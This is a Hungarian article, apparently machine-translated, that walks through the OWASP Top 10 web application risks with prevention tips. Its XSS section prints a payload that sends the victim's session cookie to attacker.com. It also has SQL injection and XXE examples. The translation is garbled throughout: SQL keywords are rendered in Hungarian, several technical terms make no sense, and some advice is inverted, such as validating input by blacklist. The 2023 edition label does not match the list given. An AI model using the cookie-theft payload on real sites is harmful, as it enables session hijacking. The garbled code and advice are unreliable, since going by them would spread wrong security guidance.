A 10 legnépszerűbb webes támadás: A webhely védelmének első lépései

Az InfoSec szakemberek által gyakran megosztott általános statisztika: „a támadások 78% -a az alkalmazás ellen van”.

Nem vesz el egy hét egy újabb hatalmas megsértésről vagy sebezhetőségről való hallás nélkül, felhasználók millióit érinti az összes iparágban. Függetlenül attól, hogy ez a szám pontos, vagy ha valóban csak 74% (vagy valószínűbb, hogy közelebb van a 85% -hoz), egy dolog világos: webhelyeink veszélyben vannak, és ha a tiéd még nem támadt meg ez csak idő és pénz kérdése (és a támadó motivációja).

Az egyik érdekes szempont, hogy ezeknek a támadásoknak sok közös, az nem nagyon technikai és csak az NSA alagsorában ülő hackerek haladó csoportjai által érhetők el. Ezeknek a támadásoknak a leggyakoribb forrása a „script kiddies” néven ismert csoport, kiképzetlen fiatalok, akik egyszerűen letöltik az automatizált eszközkészleteket az internetről, és megpróbálnak feltörni minden olyan véletlenszerű webhelyet, amely könnyen kihasználható, alacsony függesztéssel járó sebezhetőségeket kínál. Még a képzettebb számítógépes bűnözők ugyanazokat a szerszámkészleteket (vagy valamivel fejlettebb verzióikat) használják az első kísérletükre..

Miért érdekelne? Mert ez azt jelenti, hogy a leggyakoribb támadások és a leggyakrabban kihasznált sebezhetőségek mindig a védelem első és leggyengébb láncát képezik.

Következésképpen ezen a ponton is arra kell összpontosítanunk kezdeti erőfeszítéseinket, hogy megerősítsük ezt a védelmet. Szerencsére ez is a legkönnyebb hely, ahol legalább egy minimális biztonsági szintet tesztelni és biztosítani lehet.

Ezeket a gyakori sebezhetőségeket az OWASP barátságos önkéntesei – az Open Web Application Security Project, a világ legjobb nonprofit jótékonysági szervezete – a szoftverek biztonságának javítására összpontosító – „Top Ten” listába sorolják..

Noha ez az első tíz lista nem igazán „biztonsági ellenőrzőlista”, gyakran a biztonsági rések első csoportja, amelyet a támadók megkísérelnek. Hasonlóképpen, számos olyan automatizált eszköz létezik, amelyek átvizsgálják webhelyét a támadók szolgálatában, lehetővé téve számukra, hogy gyorsan felfedezzék azokat a kritikus hibákat, amelyek hozzáférést biztosítanak értéktárgyaikhoz..

Itt található az OWASP 10 legfontosabb alkalmazásbiztonsági kockázata, 2023. évi kiadás:

1. Befecskendezés

A támadó képessé válhat arra, hogy manipulálja az Ön webalkalmazását az alrendszerekbe beküldött parancsok megváltoztatásával, ha hibásan formázott kérelmeket küld el szennyezett hasznos rakományokkal. A támadások közül az SQL Injection a legismertebb, amikor a webhely egy felhasználója az alkalmazásának ezt megváltoztathatja:

válasszon * a felhasználók közül, ahol felhasználónév = ‘AviD’ és jelszó = ‘1234’
ebbe:
válasszon * azok közül a felhasználók közül, ahol felhasználónév = ‘Rendszergazda’

Ez lehetővé teszi a támadónak, hogy rendszergazdaként jelentkezzen be az alkalmazásába anélkül, hogy a jelszót is tudná. A támadás egyéb felhasználása titkok (vagy pénz) ellopása, adatok megváltoztatása vagy akár minden tevékenység nyomának törlése lenne..

Egyéb formák lehetnek az LDAP befecskendezés, az XPath befecskendezés, a parancs befecskendezése, az SMTP befecskendezés – bármikor, amikor az alkalmazás összekapcsolja a nem megbízható felhasználói bemenetet egy parancsba, amelyet egy tolmácsnak továbbítanak. A rendellenes adatok becsaphatják az értelmezőt váratlan parancsok végrehajtásába vagy az adatok megfelelő engedély nélküli elérésébe.

Ezek a támadások általában lehetnek meglehetősen könnyen megelőzhető néhány elvet követve:

  • Érvénytelenítse az összes megbízhatatlan adatbevitelt feketelistával, a forrástól függetlenül.
  • Mindig hozzáférjen az adatbázishoz paraméterezett lekérdezésekkel és csak tárolt eljárásokkal, ahelyett, hogy karakterlánc-lekérdezést csatolna.
  • Még jobb, ha használ egy megfelelő ORM (Object Relational Mapping) könyvtárat (például Hibernate, Entity Framework, ActiveRecord), hogy néhányat megnevezhessen, a rendszertől függően).
  • Az alkalmazás adatbázis-jogosultságainak csökkentésével korlátozza a sikeres kihasználás lehetséges káros hatásait.

2. Törött hitelesítés

A legtöbb alkalmazás megköveteli a felhasználóktól, hogy használat előtt bejelentkezzenek, gyakran felhasználónév / jelszó kombinációval. Ennek a hitelesítő rendszernek sokféle általános hibája van, amelyeket különféle módon lehet kihasználni: szótár támadások, automatizált brutális erő, hitelesítő adatok kitöltése, munkamenet-eltérítés és még sok más.

A támadó, akinek sikerül kitalálnia egy érvényes jelszót, képes megszemélyesíteni a felhasználót, és elvégezhet minden olyan műveletet, amelyet az áldozata elvégezhet. – anélkül, hogy különbséget tudnánk tenni a támadó és az áldozat között.

Ennek megelőzése többrétegű megközelítést igényel:

  • Az összes alapértelmezett jelszó módosítása.
  • Erős, véletlenszerű jelszavak érvényesítése minden felhasználó számára: legalább 12 véletlenszerű karakter, korlátozások nélkül, lehetőleg egy jelszókezelőben tárolva; vagy alternatívaként egy legalább 5 véletlenszerű szót tartalmazó jelmondat.
  • Korlátozza a bejelentkezési kísérleteket: bizonyos számú rossz jelszó után a felhasználói fiókot egy ideig lezárhatja.
  • Használjon biztonságos platform munkamenet-kezelőt, amely véletlenszerűen generál hosszú munkamenet-azonosítókat, és végrehajtja a biztonságos munkamenet-életciklusot.
  • Védje a jelszavakat kriptográfiai „jelszó-hash” algoritmussal, például Bcrypt, scrypt vagy Argon2.

Is, fontolja meg a többtényezős hitelesítés végrehajtását a jelszó alapú támadások enyhítése érdekében, és ne engedje meg, hogy a támadó megkerülje a jelszavát, ha megtudja macskájának nevét az „Elfelejtett jelszó” oldalon. Van néhány további részlet, amelyek relevánsak lehetnek, az adott architektúrától és a kontextustól függően.

3. Érzékeny adatok expozíciója

Titok az adatokat általában titkosítással és más kriptográfiai algoritmusokkal kell védeni. Ezt azonban gyakran, vagy egyáltalán, hiányos módon valósítják meg, lehetővé téve a támadók számára olyan érzékeny információk megragadását, amelyekre nem lenne képesek, beleértve jelszavakat, hitelkártyákat, személyes információkat (PII) és egyéb üzleti szempontból kritikus adatokat..

Néhány általános hiba magában foglalja az adatok nem titkosítását; egyéni titkosítási séma létrehozása a szokásos algoritmusok és protokollok helyett; gyenge gombokkal; titkosítási kulcsok feltárása; és nem hajtja végre megfelelően a protokollokat, pl. nem érvényesíti a TLS tanúsítványt.

Megfelelő kriptográfiai vezérlők használata (mint például a tárolt adatok AES titkosítása és a forgalomra engedélyezett HSTS TLS), a helyes paraméterekkel, teljes mértékben meg kell védenie az érzékeny adatait nyugalomban és tranzit során.

4. XML külső entitások (XXE)

Az alkalmazásoknak gyakran XML-dokumentumokat kell fogadniuk és feldolgozniuk a felhasználóktól. A régi vagy rosszul konfigurált XML-értelmezők engedélyezhetik az XML-dokumentumokban egy külső entitáshivatkozásként ismert XML-szolgáltatást, amely ha kiértékeljük, beágyaz egy másik fájl tartalmát. A támadók visszaélhetnek ezzel olvassa el a bizalmas adatokat, férjen hozzá a belső rendszerekhez, és még az alkalmazást leállítsa a szolgáltatásmegtagadási (DoS) támadás esetén is.

Például egy XML dokumentum, amely ezt tartalmazza:

]>&xxe;

tartalmazza a jelszó fájl tartalmát az XML dokumentumban.

Ezt meg lehet akadályozni egyszerűen letiltja a DTD és a Külső entitás kiértékelését az elemzőben, vagy frissít egy modern elemző könyvtárra, amely nem sebezhető.

5. Törött hozzáférés-vezérlés

A legtöbb webes alkalmazás korlátozza azt, amit a felhasználók láthatnak vagy tehetnek, függetlenül attól, hogy hozzáfér-e egy másik felhasználó személyes adataihoz vagy korlátozott területre.

Azonban a hozzáférés-vezérlési mechanizmusok, amelyek ezeket a korlátokat érvényesítik, általában kivitelezve vannak, és gyakran mélyen hibásak. A támadók megkerülhetik ezeket a vezérlőket, vagy visszaélhetnek velük illetéktelen funkciókhoz vagy adatokhoz való hozzáférés érdekében, mint például hozzáférés más felhasználók fiókjaihoz, érzékeny fájlok megtekintése, más felhasználók adatainak módosítása, adminisztratív műveletek végrehajtása és így tovább.

A hozzáférés-szabályozási hibák kiküszöbölésére és megakadályozására rendszerszemlélet szükséges. Az alkalmazás összes funkciójának, rendszerkövetelményeinek, felhasználói szerepköreinek és egyéb korlátozásoknak a teljes, alapos áttekintése szükséges. Különböző közös modellek alkalmazhatók, a követelményektől függően. A legelterjedtebbek a szerepelapú hozzáférés-vezérlés (RBAC), a diszkrecionális hozzáférés-vezérlés (DAC) és az integritás-alapú vagy kötelező hozzáférés-vezérlés (MAC)..

Más további rést modellek alapulhatnak attribútumokon (ABAC), politikán (PBAC), kontextuson (CBAC) és osztályozáson (több modell létezik, főleg a DoD-ben), valamint számos más egyedi sémán. Fontos, hogy a beléptető rendszert jól megtervezzük, hogy azt egységesen lehessen alkalmazni és hatékonyan kezelni. Kezdje a legkevesebb kiváltság elvétől és csak szükség esetén engedélyezzen.

Ezenkívül sok rendszernek fontolóra kell vennie a felhasználói személyes adatokhoz való hozzáférés ellenőrzésének alkalmazását a magánélet védelme szempontjából. Még fontosabbá válik a felhasználók magánéletének megfelelő megőrzése és hozzájárulás megakadályozása, különösen az EU GDPR frissítése fényében.

6. Biztonsági téves konfiguráció

A kiszolgálóknak és az alkalmazásoknak nagyon sok mozgó alkatrészük van, amelyeket megfelelő módon kell konfigurálni. Ez az alkalmazásköteg minden szintjén érvényes, az operációs rendszertől és a hálózati eszközöktől kezdve a webszerverig és maga az alkalmazásig.

Az alapértelmezett, hiányos vagy ad hoc konfigurációk a fájlokat védelem nélkül hagyhatják, alapértelmezett jelszavak engedélyezve, a felhőszolgáltatások megnyíltak, és érzékeny információkat szivárognak hibaüzenetek vagy HTTP-fejlécek, valamint számos egyéb nem biztonságos beállítás révén, amelyek lehetővé teszik a támadó számára a rendszerhez vagy az adatokhoz való hozzáférést.

Természetesen nincs egyetlen olyan beállítás, amely megakadályozná ezt a sebezhetőséget. Az összes potenciálisan sebezhető beállítást felül kell vizsgálni. Vegye figyelembe, hogy ez magában foglalja a rendszer időben történő frissítéseit és a javításokat is!

7. Helyek közötti szkriptek (XSS)

Az XSS használatával, a támadó módosíthatja azokat a weboldalakat, amelyeket más felhasználók látnak az alkalmazásban, akár információk, például jelszavak és hitelkártyák ellopása, hamis adatok terjesztése, felhasználói munkamenetek eltérítése, átirányítás egy másik webhelyre, akár rosszindulatú szkriptek végrehajtása az áldozat böngészőjében.

Ez a sérülékenység akkor fordulhat elő, ha a megbízhatatlan adatokat belefoglalják egy weboldalba vagy válaszba, megfelelő érvényesítés vagy fertőtlenítés nélkül. A támadó HTML vagy JavaScript töredékeket tartalmazó űrlapokat küldhet be, amelyeket közvetlenül az oldalba ágyaznak és a böngésző nyújt.

Például ez a szerver kód:

response.write (“Jó reggelt” + request.getParameter (“Név”));

beágyazja a felhasználó Név paraméterét közvetlenül a kimenetbe. Ez a következő oldal visszaadására szolgál, ha a felhasználó neve „John”:

Jó reggelt, John

Ehelyett a támadó rosszindulatú teherbírást fecskendezhet be:

Jó reggelt, Bossdocument.location = ‘http: //attacker.com/? Cookie =’ + document.cookie

amelyet a felhasználó böngészője hajt végre, elküldi a munkamenet cookie-ját a támadónak, és lehetővé teszi a támadó számára, hogy eltérítse az ülést.

Az XSS támadások elleni fő védelem a megfelelő kódolás használata. Például a HTML kódolás az összes „speciális” karaktert HTML entitásgá alakítja, úgy, hogy ugyanazok jelenjenek meg a felhasználó számára, de az elemző nem ismeri fel azokat érvényes HTML címkékként. Vannak azonban a kódolás más formái is, amelyeket az adatkimenet konkrét környezetétől függően kell használni – pl. Attribútum kódolás, JavaScript kódolás, CSS kódolás és így tovább. A legtöbb modern webes platform ezt a funkciót automatikusan vagy funkcióhívásként biztosítja, és rengeteg biztonsági könyvtár található azok számára, akik nem.

Továbbá, jó ötlet a Content Security Policy (CSP) végrehajtása, annak megakadályozása érdekében, hogy a böngésző megjelenjen az átvitt XSS támadástól. Konfigurálja a munkamenet cookie-kat (akár az alkalmazáskódban, akár a webszerver konfigurációjában), hogy tartalmazza a HttpOnly attribútumot, hogy megakadályozzák a sikeres XSS-kizsákmányolásokat a felhasználói munkamenetek eltérítésében..

8. Nem biztonságos deserializálás

A lista legújabb kiegészítése, az Insecure Deserialization lehetővé teszi az injekciós támadásokat és a privilégiumok eszkalációját, és bizonyos helyzetekben távoli kódfuttatáshoz és szerver átvételhez is vezethet..

Sok alkalmazásnak objektumokat és adatokat kell sorosítania olyan formátumba, amely könnyen továbbítható a vezetéken keresztül, vagy akár fájlként is megőrizhető. Amikor egy alkalmazás visszaállítja ezeket az objektumokat a memóriába a felhasználótól kapott formázott adatok érdemesebbé tétele révén, akkor lehetséges, hogy megzavarja az objektum memóriáját, és akár tetszőleges funkciókat is végrehajthat..

A bizonytalan deserializáció elkerülésének legjobb módja az Soha ne érdemelje meg objektumokat a megbízhatatlan adatokból! Sokkal jobb, ha lehetőség szerint elkerüljük a natív érdeklődési formátumokat, ehelyett inkább egy olyan adatformátumot részesítünk előnyben, mint például az XML vagy a JSON..

Ha a natív formátumtól érdemes ésszerűsíteni, akkor a biztonságos elvégzéshez meg kell értenie a belső programozási nyelvet. A biztonságos elvégzéshez különféle lépésekre van szükség, attól függően, hogy az alkalmazás melyik nyelvét fejlesztették ki. Például, a Java-ban alosztályozhatja a java.io.ObjectInputStream osztályt. Ezenkívül azt javasoljuk, hogy csak azokból az adatokból nyerjék ésszerűvé, amelyeket az alkalmazásod digitálisan aláírt.

9. Az ismert biztonsági résekkel rendelkező alkotóelemek használata

A modern szoftvert már nem építik monolitként – mindig egyre nagyobb számú harmadik féltől származó összetevőre, keretrendszerre és nyílt forráskódú könyvtárakra támaszkodik. Az ezekben a függőségekben található bármely ismert sebezhetőség közvetlenül befolyásolhatja a saját alkalmazását is! Néha ez további sebezhetőségeket eredményez a listán, például befecskendezés, távoli kódfuttatás vagy bármilyen más hiba, amely lehetővé teszi a támadók számára, hogy érzékeny adatokhoz vagy műveletekhez férjen hozzá.

A közelmúltban éppen egy ilyen kérdést hibáztattak az Equifax tömeges megsértéséért, ahol nem telepítettek javítást az Apache Struts2-hez. Ehelyett változatlanul maradtak, amelyről ismert, hogy a távoli támadók tetszőleges parancsokat hajthatnak végre.

A csapdaba esés elkerülésének legjobb módja az tekintse át az összes függőségets (beleértve a tranzitív függőségeket), és ellenőrizze, hogy valamelyikük jelenleg sebezhető-e. Végezzen el egy folyamatot, amely biztosítja, hogy az alkalmazás a tesztelés után mindig levonja az összes függő könyvtár és összetevő legújabb stabil változatát. Valójában jelenleg számos olyan kereskedelmi eszköz létezik, amely ezt nyomon tudja követni a csapata számára, valamint az OWASP ingyenes függőségi ellenőrzése.

10. Nem elegendő naplózás & Monitoring

Miközben megpróbáljuk realisztikusan immunizálni rendszereinket az összes lehetséges támadás ellen el kell fogadnunk, hogy egyes támadások átjutnak a védekezésünkön. Az ellenálló védelemnek több rétegből kell állnia. Ez magában foglalja azon támadások észlelésének lehetőségét is, amelyek minden erőfeszítésünk ellenére sikerültek, lehetőleg a lehető leghamarabb.

Ez továbbra is lehetővé teheti a szervezet számára, hogy felépüljön a támadásból, vagy akár a lehető legnagyobb mértékben minimalizálja a károkat. Naplózási és megfigyelési mechanizmus, kombinálva az események hatékony reagálásával, megakadályozhatja, hogy a támadók további belső erőforrások felé forduljanak, véglegesen beágyazódnak a szervezetbe, és megakadályozzák őket, hogy még több adatot ellopjanak vagy megváltoztassák.

Vigyen be egy közös naplózási mechanizmust a teljes alkalmazáshoz. A legjobb egy létező könyvtárat, például a log4J-t használni, de erre nincs szükség. A naplómechanizmusnak össze kell gyűjtenie az összes felhasználó által kezdeményezett műveletet, futási hibákat és minden egyéb érzékeny eseményt. Győződjön meg arról, hogy a naplóadatok jól védettek, és ne felejtse el megadni a rendszergazdáknak egy keresési és áttekintési felületet!

A jó hír az, hogy ezek többsége viszonylag egyszerű probléma, és könnyen megelőzhető, ha tudja, mit kell keresnie. Ezért, bár ez nem az összes biztonsági kérdés átfogó felsorolása, amelyre figyelni kell, az az határozottan az egyik legjobb hely a védett weboldal expedíciójának megkezdéséhez!